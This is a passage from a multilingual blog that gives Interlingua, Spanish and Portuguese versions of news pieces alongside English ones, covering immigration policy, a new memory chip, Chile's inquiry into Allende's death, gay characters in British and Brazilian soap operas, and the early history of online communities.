submitted when the agreement with South Korea starts to move. And though they did not provide precise dates, they estimated that there could be a delay of up to a year.\nObama also spoke about the need to reach definitive agreements about illegal immigration, acknowledging that the debate will be difficult and take time and saying that he was \"ready to work with Republicans and Democrats to protect our borders, enforce our, laws, and confront the conditions of millions of undocumented workers who are now living in hiding.\"\n\"We must not continue to expel responsible young people with academic talents who can work in research labs, start new businesses, and contribute to enriching this nation,\" Obama said in an allusion to the Dream Act, the recently rejected legislation that would have allowed undocumented students to legalize their residential status in the United States\n\"It is of great importance to put the problem of immigration in the context of what is essential for improving the U.S. economy,\" said Cecilia Muñoz, Director of Intergovernmental Affairs for the White House.\nWith regard to the deaths of six people killed by gunshot wounds during a campaign event for Congresswoman Gabrielle Giffords, Obama did not address the controversial issue of gun control. At the same time he spoke about the need to control the arms trade, emphasizing the damage caused by the illegal flow of assault weapons to Mexico, which is suffering from the effects of a drug war that eventually could threaten the stability of the federal government of Mexico itself.\nPosted by hkyson at 5:43 PM\n(Languages of this post: Interlingua, Spanish, English)\nNostre computatores actual functiona utilisante duo tipos de memorias existente, le volatile e le non volatile.\nLe technologias volatile como le memoria del tipo RAM e su nove version DRAM immagisana datos de tal maniera que illos pote esser legite e modificate rapidemente e es ideal pro le processamento rapide. Ma le information que illos contene se perde quando illos perde lor carga electric.\nMemorias non volatile como illos del tipo flash in le cartas de memoria o in le immagasinatores de musica MPE, del altere parte, pote retener information pro longe periodos de tempore sin electricitate.\nNunc investigatores in le Statos Unite ha disveloppate un nove forma de memoria pro computatores que poterea facer los multo plus simple in lor construction. Iste nove memorias, create per un equipa de expertos in informatica del Universitate Statal de Carolina del Nord, ha potite combinar le avantages del duo formas de memoria in un sol chip.\nIste tipo de memoria \"unificate\", describite in le magazine \"IEEE Computer\", totevia sta a submitter se a provas. Nonobstante, le equipa de investigatores crede que illo poterea provider un base pro le fabrication de computatores que comencia a travaliar immediatemente al esser connectate a un fonte de electricitate.\nIste memorias ha le velocitate del DRAM e es capace de cambiar a un modo de immagasinamento de memoria plus durabile.\nUn memoria con iste characteristicas permitterea le disveloppamento de servitores que pote esser disconnectate de su fonte de electricitate quando illos non se trova in uso.\nActualmente, le servitores depende del electricitate mesmo quando illos non sta a travaliar proque disconnectar los affice lor capacitate de functionamento.\nLe nove memorias immagasina datos in forma de carga electric, como le memorias volatile, ma illos usa un function de controlo special que los permitte immagasinar de un maniera permanente datos que illos totevia pote accesar se rapidemente..\nIl es possibile recuperar le datos archivate de iste memorias in approximatemente 15 nanosecundas. Illo es comparabile al velocitate DRAM. In un modo non volatile lor datos poterea esser immagasinate de maniera secur pro un periodo de unes annos.\nLe uso de iste tipo de memoria poterea eventualmente permitter un plus grande simplicitate in le designo de computatores in le futuro, le quales anque esserea multo plus economic que le computatores que nos cognosce hodie.\n---\nUna nueva memoria para computadoras que podría revolucionar el archivo de datos.\nNuestras computadoras actuales funcionan utilizando dos tipos de memorias existentes, el volátil y el no volátil.\nLas tecnologías volátiles tales como la memoria del tipo RAM, o su nueva versión DRAM, archiva datos de tal forma que pueden ser leídos y modificados velozmente, e son ideales para el procesamiento rápido. Pero la information que ellas contiene se pierde cuando pierden su carga eléctrica.\nLas memorias no volátiles tales como los flash en las tarjetas de memoria o en los archivadores de música MP3, por el contrario, pueden retener información por largos periodos de tiempo sin electricidad.\nAhora investigadores en los Estados Unidos han desarrollado una nueva forma de memoria para computadoras que podría hacerlas mucho más sencillas en su construcción. Estas nuevas memorias, creadas por un equipo de expertos en informática de la Universidad Estatal de Carolina del Norte, han logrado combinar las ventajas de las dos formas de memoria en solmamente un chip.\nEste tipo de memoria \"unificada\", descrita en la revista \"IEEE Computer\", todavía está siendo sometida a pruebas. Sin embargo, el equipo de investigadores cree que podría sentar las bases para la fabricación de computadoras que comiencen a trabajar inmediatamente al ser conectadas con una fuente de electricidad.\nEstas memorias tienen la velocidad del DRAM y son capaces de cambiar a un modo de archivo de memoria más duradero.\nUna memoria con esas características permitiría el desarrollo de servidores que pueden ser apagados mientras no estén siendo usados.\nActualmente, los servidores dependen de la electricidad aún cuando no están trabajando, ya que apagarlos afecta su capacidad de funcionamiento.\nLas nuevas memorias archivan datos en forma de carga, como las memorias volátiles, pero usan una función de control especial que les permite almacenar de forma permanente datos que todavía se pueden accesar rápidamente.\nEs possible recuperar los datos archivados de estas memorias en aproximadamente 15 nanosegundos. Eso es comparable a la velocidad DRAM. En un modo no volátil sus datos podrían ser archivados de manera segura durante un par de años.\nEl uso de este tipo de memoria podría eventualmente permitir una mayor simplicidad en el diseño de computadoras en el futuro, las cuales también serían mucho más baratas que las computadoras que conocemos hoy.\n---\nA New Computer Memory that could Revolutionize Data Storage.\nOur current computers work by using two types of memory, those that are are temporary and those that permit long-term storage.\nTechnologies such as volatile memory (RAM or its new version DRAM) store data files so that they can be read and modified quickly and are ideal for fast processing. But the information they contain goes away when they lose their electric charge.\nNon-volatile memory used in flash-memory cards or MP3 music archives, on the other hand, can retain information for long periods of time without the need for electricity.\nNow researchers in the United States have developed a new form of memory that could make computers much simpler in their construction. These new memories, created by a team of experts from the North Carolina State University, have managed to combine the advantages of both forms of memory in only one chip.\nThis type of \"unified\" memory, described in the journal \"IEEE Computer\", is still being tested. Nevertheless, the research team believes it could provide a basis for making computers that start to work immediately after being connected to a power source.\nThese memories have the speed of DRAM memories and are capable of switching to a longer-lasting storage mode.\nA memory with these characteristics would allow for the development of servers that can be turned off when not being used.\nCurrently, servers rely on electricity even when not working, because turning them them off affects their ability to function.\nThe new memories store data in the form of an electric charge like volatile memories, but they use a special control function that enables them to permanently store data that can still be rapidly accessed.\nIt is possible to retrieve data stored in these memories in about fifteen nanoseconds. That's comparable to DRAM speed. In a non-volatile mode, their data could be stored safely for a few years.\nUsing this type of memory could eventually allow for greater simplicity in the design of computers in the future, which would also be much cheaper than the computers we know today.\nPosted by hkyson at 5:14 PM\n(Languages of this post: Interlingua, Spanish, English)\nTrenta e sex annos post le colpo de stato que terminava le vita de Salvador Allende, le tribunales chilean va a investigar le causas de su morte. Officialmente, on ha dicite que ille se suicidava. Nonobstante, multes crede que ille esseva assassinate per le fortias militar de Chile.\nUltra le morte de Allende, Beatrice Pedrals, qui es un judice de appellation in le systema judicial chilean, anque va a investigar 726 casos de violationes de derectos human que occurreva durante le governamento de Augusto Pinochet, qui reimplaciava Allende como presidente.\nLe morte de Salvador Allende esseva acceptate como un suicidio per su familia, con un base sur, inter altere cosas, le reporto del doctor Patricio Guijón, qui, durante su morte, esseva al latere de Allende in le Palacio de la Moneda (Palatio del Moneta), le residentia del presidente de Chile e le ubication de alicun officinas del branca executive del governamento de Chile.\nIn despecto de lo que le Dr. Guijón diceva sur le morte de Allende, le advocato Roberto Caledón crede que il es necesse investigar in detalio lo que occurreva in 1973 in un investigation que includera le exhumation de Allende.\n\"Le veritate sur Allende non pertine solmente a su familia o a un gruppo politic in particular\", diceva Caledón. \"Illo pertine a omne le populo de Chile, assi como a omne le communitate international, a causa del possibile participation del Statos Unite in le colpo.\"\n---\nChile va a investigar las circunstancias de la muerte de Allende.\nTreinta y siete años después del golpe de estado que acabó con el gobierno y la vida de Salvador Allende, los tribunales chilenos van a investigar las causas de su muerte. Oficialmente, se ha dicho que se suicidó. Sin embargo, muchos creen que fue asesinado por las fuerzas militares de Chile.\nAdemás de la muerte de Allende, Beatriz Pedrals, quien es un juez de apelación en el sistema judicial chileno, también va a investigar 726 casos de violaciones de derechos humanos que ocurrieron durante el gobierno de Augusto Pinochet, quien reemplazó a Allende como presidente.\nLa muerte de Salvador Allende fue aceptada como un suicidio por su familia, basándose, entre otras cosas, en el relato del doctor Patricio Guijón, quien, durante su muerte, estuvo junto a Allende en el Palacio de La Moneda, la residencia del presidente de Chile y la ubicación de algunas oficinas de la rama ejecutiva del gobierno chileño.\nA pesar de lo que dijo el Dr. Guijón sobre la muerte de Allende, el abogado Roberto Celedón cree que es necesario investigar en detalle lo que ocurrió en 1973 en una investigación que incluirá la exhumación de Allende.\n\"La verdad sobre Allende no le pertenece solamente a su familia o a un grupo político en particular\", dijo Caledón. \"Pertenece a todo el pueblo de Chile, así como a toda la comunidad internacional, debido a la posible participación de los Estados Unidos en el golpe.\"\n---\nChile is going to investigate the circumstances of Allende's death.\nThirty-seven years after the coup that overthrew the government and ended the life of Salvador Allende, Chile's courts are going to investigate the cause of his death. Officially, it is said he committed suicide. However, many believe he was killed by Chile's military forces.\nBesides the death of Allende, Beatriz Pederals, who is an appellate judge in the Chilean court system, is also going to investigate 726 cases of human rights violations that occurred under the government of Augusto Pinochet, who succeeded Allende as president.\nThe death of Salvador Allende was accepted as a suicide by his family, based, among other things, on the story of Dr. Patrick Gijon, who during his death, was with Allende in La Moneda Palace, the residence of the President of Chile and the location of some offices of the executive branch of the Chilean government.\nDespite what Dr. Guijón said about Allende's death, the lawyer Roberto Celedon believes it is necessary to inquire in detail about what happened in 1973 in an investigation that will include Allende's exhumation.\n\"The truth about Allende does not belong to his family alone or to a single political group,\" said Caledon. \"It belongs to all the people of Chile, as well as to the entire international community because of the possible involvement of the United States in the coup.\"\nPosted by hkyson at 3:44 PM\n(Languages of this post: Interlingua, Portuguese, English)\nUn del romanes le plus popular del television Britannic, le serie \"East Enders\", que comenciava su transmissiones ante 24 annos, finalmente habera un personage musulman gay.\nIn le narration del roman, le personage Syed Masood, interpretate per le actor Marc Elliott, se enamorara de un homine qui es apertemente gay, e le duo homines va a basiar se in un del scenas del roman.\nLe capitulos essera transmittite per le canal de television BBC-1 in le proxime mense, ma le annuncio de iste nove cambio in le roman jam ha causate polemica.\nPro Asghar Bokhari, del Committee de Affaires Public Musulman (CAPM), \"le roman perdeva un opportunitate de presentar un personage musulman normal e amicabile al publico britannic\".\n\"Le communitate musulman merita un personage normal qui lo representa pro le grande publico\", diceva Bokhari, \"proque le islamophobia es intense actualmente\".\nIn le sito de CAPM, internautas monstrava opiniones dividite sur le decision. Alicunes criticava le BBC, affirmante que le rete deberea crear un imagine \"normal\" del communitate musulman, durante que alteres approbava le initiativa.\nLe productor executive del serie, Diedrick Santer, defendeva le tipo de narration e affirmava que il es importante que le novela se preoccupa con affaires que reflecta le vita real.\n\"Il es importante que le familia Massood sia un parte importante de 'East Enders', diceva Santer. \"E il me pare que si nos nos mitte a troppo distantia de controversias, in le caso del familia Masood, pro exemplo, illes non habera le opportunitate de devenir un del grande familias del roman. Illes apparera solmente in le cocina facente curries (un tipo de nutrimento traditional indian o bengalese) pro annos e annos, e illo non es multo interessante.\"\nLe actor qui interpreta le personage se trova de accordo con le opinion del productor. \"Io crede que iste personage es importante proque le societate de London es multicultural e ethnicamente diverse\", diceva Elliot, \"e le roman 'East Enders' debe reflecter le realitates social del citate. Il jam es le hora de facer visibile ille minoritate invisibile\".\n---\nUma novela da televisão inglesa terá um personagem muçulmano gay.\nUma das novelas mais populares da televisão britânica, a série \"East Enders\", que está no ar há 24 anos, finalmente terá um personagem muçulmano gay.\nNa trama, o personagem Syed Masood, interpretado pelo ator Marc Elliott, irá se apaixonar por um homem que é abertamente gay e os dois vão se beijar em uma das cenas da novela.\nOs capítulos serão transmitidos pelo canal de televisão BBC 1 no próximo mês, mas o anúncio deste novo cambio na roman já causou polêmica.\nPara Asghar Bokhari, da Comitê de Assuntos Públicos Muçulmanos (CAPM), \"a novela perdeu uma oportunidade de apresentar um personagem muçulmano normal e amigável ao público britânico\".\n\"A comunidade muçulmana merece um personagem normal que a represente para o grande público\", disse Bokhari, \"porque a islamofobia é intensa atualmente\".\nNo site da CAPM, internautas mostravam opiniões divididas sobre a decisão. Alguns criticaram a BBC, afirmando que a rede deveria criar uma imagem \"normal\" da comunidade muçulmana, enquanto outros apoiavam a iniciativa.\nO produtor executivo da série, Diedrick Santer, defendeu a trama e afirmou que é importante que a novela trate de assuntos que refletam a vida real.\n\"É importante que a família Masood seja uma parte importante de 'East Enders'\", disse Santer. \"E me parece que se nos distanciarmos demais de controvérsias, no caso de a família Masood, por exemplo, eles não teriam chance de se tornar uma das grandes famílias da novela. Eles apareceriam apenas na cozinha fazendo curries (comida tradicional indiana ou bengalesa) por anos e anos, e isso não é muito interessante.\"\nO ator que interpretará o personagem concorda com a opinião do produtor. \"Acho que este personagem é importante porque a sociedade de Londres é multicultural e etnicamente diversa\", disse Elliot, \"e a novela 'East Enders' deve refletir as realidades sociais da cidade. Já está na hora de esta minoria invisível se tornar visível\".\n---\nAn English soap opera will have a muslim character.\nThe soap opera \"East Enders,\" one of the most popular soap operas on British television, which has been on the air for twenty-four years, will finally have a gay Muslim character.\nIn the plot, the character Syed Masood, played by actor Marc Elliott, will fall for a man who is openly gay, and the two are going to be be kissing in one of the scenes of the soap opera.\nThe chapters will be transmitted by BBC television next month, but the announcement of this new change in the soap opera has already caused controversy.\nTo Asghar Bokhari, of the Muslim Public Affairs Committee (MPAC), \"the soap opera has lost an opportunity to present a normal and friendly Muslim character to the British public.\"\n\"The Muslim community deserves a normal character representing it to the general public,\" Bokhari said, \"because Islamophobia is intense today.\"\nInternet users posted divided opinions on the MPAC website about the decision. Some criticized the BBC, saying the network should create a \"normal\" image of the Muslim community, while others supported the initiative.\nThe executive producer of the series, Diedrick Santer, defended the story and said it is important for the soap opera to deal with subjects that reflect real life.\n\"It is important for the Masood family to be a fundamental part of 'East Enders,'\" Santer said. \"And I think that if we distance ourselves too much from controversy, in the case of the Masood family, for example, they would have no chance of becoming one of the great families of the soap opera. They would appear only in the kitchen making curries for years and years, and that is not very interesting.\"\nThe actor who plays the character agrees with the producer. \"I think this character is important because London's society is multicultural and ethnically diverse,\" said Elliot. \"and the soap opera 'East Enders' should reflect the social realities of the city. It's time for this invisible minority to become visible.\"\nPosted by hkyson at 7:07 AM\n(Languages of this post: Interlingua, Portuguese, Spanish)\nLe jornal ritannic \"The Guardian\" ha reportate que un roman televisive brasilian con diverse personages gay tosto va a transmitter un basio gay in un effortio pro combatter le homophobia in le pais.\nLe majoritate del citates brasilian ha communitates gay prominente, dice le jornal, ma le homophobia, multe vices accompaniate per violentia, totevia es un problema grande in le societate brasilian.\nLe romanes brasilian nunc ha un publico de 50 milliones de spectatores e jam ha essayate in le passato a explorar altere themas tabu, como maladias mental, abuso de drogas, o alcoholismo.\nLe presidente del Association Brasilian de Gays, Lesbianas, Bisexuales e Transexuales, Toni Reis, diceva al jornal que le roman pote esser un opportunitate importante pro rumper stereotypos e dar \"visibilitate\" al gays.\nPro Reis, le television brasilian generalmente monstra imagines distorquite del communitate gay, con mentiones al homosexualitate restricte a comedias e programmas sur crimines e themas religiose, in le quales pastores evangelic predica contra le homosexualitate.\nIn contrasto, nota le jornal, inter le personages gay de \"Insensato Coração\" (Imprudente Corde) es un advocato, un professor, un jornalista, e un botechero.\nLe reporto nota que le fans gay del romanes brasilian \"desde ante multe tempore ha stato a demandar un basio in le schermos\", e illes pareva haber obtenite lo que illes voleva in 2005, quando le medios de communication annunciava que duo personages masculin se basiarea in le roman \"America\", ma le scena esseva eventualmente eliminate, generante protestas.\nIn despecto de advantiamentos con le nucleo gay del roman \"Insensato Coração\" le jornal observava que le autores jam ha prevenite que illes que sperava vider le prime basio gay de un drama televisive brasilian essera disappunctate. \"Le audientia non es preparate\", explicava Gilberto Braga, un del autores, in le conferentia de pressa pro lancear le roman.\nPro Reis, le decision monstra \"un simple falta de corage\". \"Un basio es un demonstration de affection, non un affronto al societate\", diceva ille al jornal. \"Le corruption, le violentia, accidentes--illes es affrontos social e es monstrate in excesso in le television, que non debe attender plus tempore pro monstrar un basio gay in un roman. Si il non ha un basio, illo essera un signal de homophobia.\"\n---\nBrasil inteiro espera ver beijo gay em uma novela, de acordo com um jornal britânico.\nO diário britânico \"The Guardian\" informou que uma novela brasileira com vários personagens gays em breve vai transmitir um beijo gay em um esforço para combater a homofobia no país.\nA maioria das cidades brasileiras têm comunidades gays proeminentes, diz o jornal, mas a homofobia, muitas vezes acompanhada de violência, ainda é um problema grande na sociedade brasileira.\nAs novelas brasileiras têm agora um público de 50 milhões de espectadores e já tentaram no passado explorar outros temas tabus como doenças mentais, abuso de drogas ou alcoolismo.\nO presidente da Associação Brasileira de Gays, Lésbicas Bissexuais e Transexuais, Toni Reis, disse ao jornal que a novela pode ser uma oportunidade importante para romper estereótipos e dar \"visibilidade\" aos gays.\nPara Reis, a televisão brasileira geralmente mostra imagens distorcidas da comunidade gay, com as menções ao homossexualismo restritas a comédias e programas sobre crimes e temas religiosos, nos quais pastores evangélicos pregam contra a homossexualidade.\nEm contraste, observa o jornal, entre os personagens gays de \"Insensato Coração\" estão um advogado, um professor, um jornalista e um lojista.\nA reportagem comenta que os fãs gays das novelas brasileiras \"há muito tempo pedem um beijo nas telas\" e pareciam ter conseguido o que queriam em 2005, quando a mídia anunciou que dois personagens homens se beijariam na novela \"América\", mas a cena acabou eliminada, gerando protestos.\nApesar do avanço com o núcleo gay da novela \"Insensato Coração\", o jornal observa que os autores já avisaram que os que esperam ver o primeiro beijo gay da teledramaturgia brasileira ficarão desapontados. \"A audiência não está pronta\", justificou Gilberto Braga, um dos autores, na entrevista coletiva de lançamento da novela.\nPara Reis, a decisão mostra \"uma simples falta de coragem\". \"Um beijo é uma demonstração de afeto, não uma afronta à sociedade\", disse ele ao jornal. \"Corrupção, violência, acidentes--esses sim são afrontas sociais e são mostrados em excesso na televisão, que não deve esperar mais para mostrar um beijo gay em uma novela. Se não houver beijo, será um sinal de homofobia.\"\n---\nEveryone in Brazil expects to see a gay kiss in a soap opera, according to a British newspaper.\nThe British daily \"The Guardian\" has reported that a Brazilian novel with several gay characters is soon going to broadcast a gay kiss in an effort to combat homophobia in the country.\n\"Most Brazilian cities have prominent gay communities, the newspaper says, but homophobia, often accompanied by violence, is still a big problem in Brazilian society.\nBrazilian soap operas now have audiences of 50 million viewers and have tried in the past to explore other taboo themes such as mental illness, drug abuse, or alcoholism.\nThe president of the Brazilian Association of Gays, Lesbians, Bisexuals and Transsexuals, Toni Reis, said to the newspaper that the novel could be an important opportunity to break stereotypes and give \"visibility\" to gays.\nFor Reis, Brazilian television usually shows distorted images of the gay community, with the references to homosexuality restricted to comedies and programs about crime and religious subjects, in which evangelical pastors preach against homosexuality.\nIn contrast, notes the newspaper, the gay characters of \"Insensato Coração\" (Foolish Heart) are a lawyer, a teacher, a journalist, and a shopkeeper.\nThe report said that gay fans of the soap operas \"have asked for a kiss on the screen for a long time\" and seemed to have achieved what they wanted in 2005 when the media announced that two men would kiss each other in the soap opera \"America,\" but the scene was eventually eliminated, sparking protests.\nDespite advances in the gay core of the soap opera \"Insensato Coração,\" the newspaper notes that the authors have warned that people who expect to see the first gay kiss in a Brazilian television drama will be disappointed. \"The audience is not ready,\" explained Gilberto Braga, one of the authors at the press conference called to launch the soap opera.\nFor Reis, the decision shows \"a lack of courage.\" \"A kiss is a demonstration of affection, not an affront to society,\" he told the newspaper . \"Corruption, violence, accidents--those are social affronts and are shown too much on television, which should not wait any longer for a gay kiss to take place in a soap opera. If there is no kiss, it will be a sign of homophobia.\"\nPosted by hkyson at 6:29 AM\nUn boteca de discos hippie es le origine de retes social (adaptate de un articulo de Rory Cellan Jones)\n(Languages of this post: Interlingua, Portuguese, English)\nSitos como My Space e Facebook non es alique nove. Pro trovar le ver origines del retes social, on debe vader ben ante 2004.\nIn un strata in Berkeley, California, le epicentro del contracultura in le annos 1960 e 1970, io trovava lo que poterea multo ben esser le loco de nascimento del phenomeno.\nForas de lo que esseva un boteca de discos con le nomine Leopold's Records, le ancian informatico Lee Felsenstein me diceva como in 1973 ille e altere collegas sue poneva un computator in le boteca, preso un muro que habeva notas con messages per musicos qui voleva formar o devenir membros de bandas nove. Illes habeva invitate le personas qui passava, in general studentes del Universitate de California, Berkeley, a entrar e claviar un message in le computator. A ille epocha, illo esseva le prime vice que alicuno qui non studiava themas scientific esseva invitate a approximar se a un computator.\n\"Nos credeva que il haberea un resistentia considerabile al invasion de computatores in lo que, secundo lo que nos pensava, esseva territorio del contracultura\", explicava Felsenstein. \"Nos non habeva ration. Multe personas veniva a vider nos, e nos habeva alicun secundas pro dicer a illes, 'a vos placerea usar nostre muro de messages electronic?' Nos sta a usar un computator.'\"\nMulte personas esseva interessate, e tunc on plenava le machina con messages, que vadeva desde un poeta promovente su versos e musicos offerente servicios usque discussiones sur le melior loco pro comprar panes.\nLe projecto, que habeva le nomine Memoria del Communitate, superviveva pro plus que un decada, installante altere computatores in le region de San Francisco. Ma il esseva solmente in le annos 1980 que un numero considerabile de personas se univa al vita in linea.\nLe Well, un altere communitate electronic in California, esseva le resultato del maritage inter hippies e hackers e contracultura e cybercultura.\nIste communitate nasceva como resultato de un incontro inter Larry Brilliant, un medico qui travaliava pro le Organisation Mundial de Sanitate (OMS), e Stewart Brand, creator del biblia hippie del annos 1960, le \"Whole Earth Catalogue (Catalogo del Mundo Integre).\nLarry Brilliant arrivava al idea de un rete que facilitarea le communication sur problemas de crise, quando un helicoptero que faceva un studio pro le Organisation Mundial del Sanitate in le Himalayas habeva besonio de un nove motor.\nUsante un del prime computatores de Apple, offerite per su amico Steve Jobs, ille habeva successo in realisar forsan le prime teleconferentia in linea del mundo.\n\"Steve me dava un modem acustic\", diceva Brilliant. \"Nos faceva le connection, e subitemente nos habeva un donation de un motor reserve del Aerospatiale. Le RAF se voluntariava pro transportar lo usque le helicoptero, e 72 horas postea le motor se trovava in Nepal.\"\nBrilliant decideva que iste tipo de vinculo social electronic poterea formar le base de un interprisa commercial. E quando ille suggereva iste possibilitate a Stewart Brand, ille esseva de accordo.\n\"Le systema primitive que nos disveloppava esseva le precursor del retes social de hodie\", Brand diceva. \"Vos poteva comenciar alique assi con nullo ultra un machina prendite in location, que nos obteneva de Larry, e un pachetto de logiciel inhabile.\"\nLe Well assembleva hackers, hippies, e autores del region del Baia de San Francisco in conversationes in linea qui discuteva themas que vadeva de technologia e politica al fin del vita. Post se cognoscer in linea, illes eventualmente organisava festas, le prime signal que le mundos real e virtual poterea funder se.\n\"Nos nos conosceva in linea ante cognoscer nos facie a facie\", diceva Howard Rheingold, qui cuneava le phrase \"communitate virtual\" e un membro influente del Well. \"Multo del communication facie a facie se transformava in relationes. Le membros de nostre communitate se incontrava e se maritava, e maritages anque esseva rumpite. Quando alicuno inter nos deveniva malade, ille esseva appoiate, e quando un persona stava a morir, ille recipeva adjuta.\"\nLe Well expandeva quando illo deveniva un loco de incontro pro Deadheads, le fans del banda de rock Grateful Dead. Illo anque dava a John Perry Barlow, un lyricista del banda, e posteriormente le creator del Electronic Frontier Foundation, su prime introduction a communitates in linea.\nMa illo non esseva solmente in California que le idea de incontrar se e socialisar in linea surgeva. In Europa, le Prestel britannic e le Minitel francese dava a milliones de usuarios del telephono lor prime introduction al communication on line.\nIn multe altere locos, Bulletin Board Systems (BBS, o systemas de mural de novas) deveniva un centro de communication intense sur diverse themas pro illes qui habeva un computator personal connectite a un modem.\nJason Scott--qui, durante su adolescentia esseva un usuario del BBS in White Plains, New York, al fin del annos 1980--diceva que esseva errate le idea que le usarios del BBS esseva disadjustates qui viveva lor vitas in linea. \"Le computator esseva un medio pro un fin\", explicava ille. \"Como le telephonemas de longe distantia esseva multo car, le systemas de BBS esseva utilisate localmente. Vos poterea communicar con altere personas, inviar messages, reciper archivos e vader con altere usuarios de iste systemas a un pizzeria local.\nComo multe usuarios del prime retes, Scott es un assidue usuario de lor equivalentes moderne. E Felsenstein cognosceva su mulier in linea. \"Io me trova convencite que il ha multe spatio pro innovation in le mundo virtual\", diceva ille. \"Io non crede que nos sta a usar le melior systemas que poterea exister, e io crede que il habera systemas qui es multo plus intelligente e flexibile in le futuro!\"\n---\nUma loja de discos hippie está em origem de redes sociais (adaptado de um artigo de Rory Cellan Jones)\nSites como o My Space e Facebook não são nada novo. Para encontrar as verdadeiras origens das redes sociais você deve recuar para bem antes de 2004.\nNuma rua em Berkeley, Califórnia, o epicentro da contracultura nos anos 1960 e 1970, eu achei o que poderia muito bem ter sido o local de nascimento do fenômeno.\nDo lado de fora do que já foi uma loja de discos chamada Leopold's Records, o ex-cientista de computação Lee Felsenstein me disse como, em 1973, ele e outros colegas colocaram um computador na loja, perto de uma parede que havia notas com mensagens por músicos que queriam formar ou tornar-se membros de bandas novas. Eles tinham convidado as pessoas que passavam, em geral estudantes da Universidade da Califórnia, Berkeley, para entrar e digitar uma mensagem no computador. À época, era a primeira vez que alguém que não estudasse temas científicos foi convidada a se aproximar de um computador.\n\"Achamos que haveria uma resistência considerável à invasão de computadores no que, segundo pensávamos, era território da contracultura\", explicou Felsenstein. \"Estávamos errados. Muitas pessoas vieram nos ver, e tínhamos alguns segundos para lhes dizer, 'você gostaria de usar o nosso mural de recados eletrônico? Estamos usando um computador.'\"\nMuitas pessoas estavam interessadas, e logo a máquina estava sendo preenchida por mensagens, que iam de um poeta promovendo seus versos e músicos oferecendo serviços a discussões sobre o melhor local para comprar pães.\nO projeto, chamado Memória da Comunidade, sobreviveu por mais de uma década, instalando outros computadores na região de San Francisco. Mas só foi nos anos 1980 que um número considerável de pessoas aderiu à vida online.\nA Well, outra comunidade eletrônica em Califórnia, era o resultado do casamento entre hippies e hackers e contracultura e cybercultura.\nEsta comunidade nasceu como resultado de um encontro entre Larry Brilliant, um médico que trabalhava para a Organização Mundial da Saúde (OMS), e Stewart Brand, criador da bíblia hippie dos anos 1960, o \"Whole Earth Catalogue\" (Catálogo do Mundo Inteiro).\nLarry Brilliant chegou à idéia de uma rede que facilite a comunicação sobre problemas de crise, quando um helicóptero que conduzia uma pesquisa da Organização Mundial da Saúde no Himalaia precisou de um novo motor.\nUsando um dos primeiros computadores da Apple, oferecido por seu amigo Steve Jobs, ele conseguiu realizar possivelmente a primeira teleconferência online do mundo.\n\"Steve me deu um modem acústico\", disse Brilliant. \"Nós fizemos a conexão e, de repente, tivemos uma doação de uma motor reserva da Aerospatiale. A RAF se voluntariou para transportá-la até o helicóptero, e 72 horas depois o motor estava no Nepal.\"\nBrilliant decidiu que este tipo de vínculo social eletrônico poderia formar a base para uma empresa comercial. E quando ele sugeriu esta possibilidade a Stewart Brand, este concordou.\n\"O sistema primitivo que desenvolvemos foi o precursor das redes sociais de hoje\", Brand disse. \"Você podia começar algo assim com nada além de uma máquina arrendada, que pegamos do Larry, e um software ruim.\"\nA Well juntou hackers, hippies e escritores da região da Baía de San Francisco em conversas online que tratavam de temas que iam de tecnologia e política ao sentido da vida. Após se encontrarem online, eles finalmente organizavam festas, um primeiro sinal de que os mundos real e virtual poderiam se fundir.\n\"Nós nos conhecíamos online antes de nos conhecer cara a cara\", disse Howard Rheingold, que cunhou o termo \"comunidade virtual\" e um membro influente da Well. \"Muito da comunicação cara a cara se transformou em relações. Os membros de nossa comunidade se encontravam e se casavam, e casamentos também foram rompidos. Quando alguém entre nós adoecia era apoiada, e quando alguem estava morrendo ele recibia ajuda.\"\nA Well foi usado mais amplamente quando se tornou um local de encontro para Deadheads, os fãs da banda de rock Grateful Dead. Ela também deu a John Perry Barlow, um letrista da banda, e posteriormente criador da Electronic Frontier Foundation, sua primeira introdução a comunidades online.\nMas não foi só na Califórnia que a ideia de se encontrar e socializar online surgiu. Na Europa, a Prestel britânica e a Minitel francesa deram a milhões de usuários de telefone sua primeira introdução à comunicação online.\nEm muitos outros lugares, Bulletin Board Systems (BBS, ou sistemas de mural de avisos) se tornaram um centro de intensa comunicação sobre variados temas para aqueles que tinham um computador pessoal conectado a um modem.\nJason Scott--que quando adolescente era um usuário do BBS em White Plains, Nova York, no fim dos anos 1980--disse que era errada a ideia de que usuários do BBS eram desajustados que viviam suas vidas online. \"O computador era um meio para um fim\", ele explicou. \"Como os telefonemas de longa distância eram muito caras, os sistemas BBS eram utilizados localmente. Você poderia se comunicar com outras pessoas, mandar mensagens, baixar arquivos e ir com outros usuários destes sistemas para uma pizzaria local.\nComo muitos usuários das primeiras redes, Scott é um assíduo usuário das suas equivalentes modernas. E Felsenstein conheceu sua mulher online. \"Estou convencido de que há muito espaço para inovação no mundo virtual\", disse ele. \"Não acho que estemos usando os melhores sistemas que poderiam existir, e eu acredito que haverá sistemas que são muito mais inteligentes e flexíveis no futuro!\"\n---\nA Hippie record store is the origin of social networks (adapted from an article by Rory Cellan Jones)\nSites like My Space and Facebook are not at all new. To find the true origins of social networks you should go back to well before 2004.\nOn a street in Berkeley, California, the epicenter of the counterculture in the 1960s and 1970s, I found what could very well have been the birthplace of the phenomenon.\nOutside of what was a record store named Leopold's Records, the former computer scientist Lee Felsenstein told me how in 1973 he and other colleagues of his put a computer in the shop, close to a wall that had notes with messages by musicians who wanted to form or become members of new bands. They had invited people who passed by, generally students of the University of California, Berkeley, to come in and type a message on the computer. That was the first time that someone who did not study scientific subjects was asked to get near a computer.\n\"We thought there would be considerable resistance to the invasion of computers in what we believed was counterculture territory,\" said Felsenstein. \"We were wrong. Many people came to see us, and we had a few seconds to ask them, 'Would you like to use our electronic message board? We are using a computer.'\"\nMany people were interested, and soon the machine was being filled with messages that ranged from a poet promoting his verses and musicians offering services to discussions about the best place to buy bread.\nThe project, called Community Memory, survived for more than a decade, installing other computers in the San Francisco area. But it was only in 1980 that a considerable number of people joined online life.\nThe Well, another electronic community in California, was the result of a marriage between hippies and hackers and counterculture and cyberculture.\nThis community was born because of a meeting between Larry Brilliant, a physician who worked for the World Health Organization (WHO), and Stewart Brand, creator of the 1960s hippie bible, \"The Whole Earth Catalogue.\"\nLarry Brilliant arrived at the idea of a network that would facilitate communication about crisis problems when a helicopter that was conducting a survey for the World Health Organization in the Himalayas needed a new engine.\nUsing one of the first Apple computers, donated by his friend Steve Jobs, he was able to hold perhaps the world's first online conference.\n\"Steve gave me an acoustic modem,\" he said. \"We made the connection, and suddenly we had a donation of a reserve engine from Aerospatiale. The RAF volunteered to transport it to the 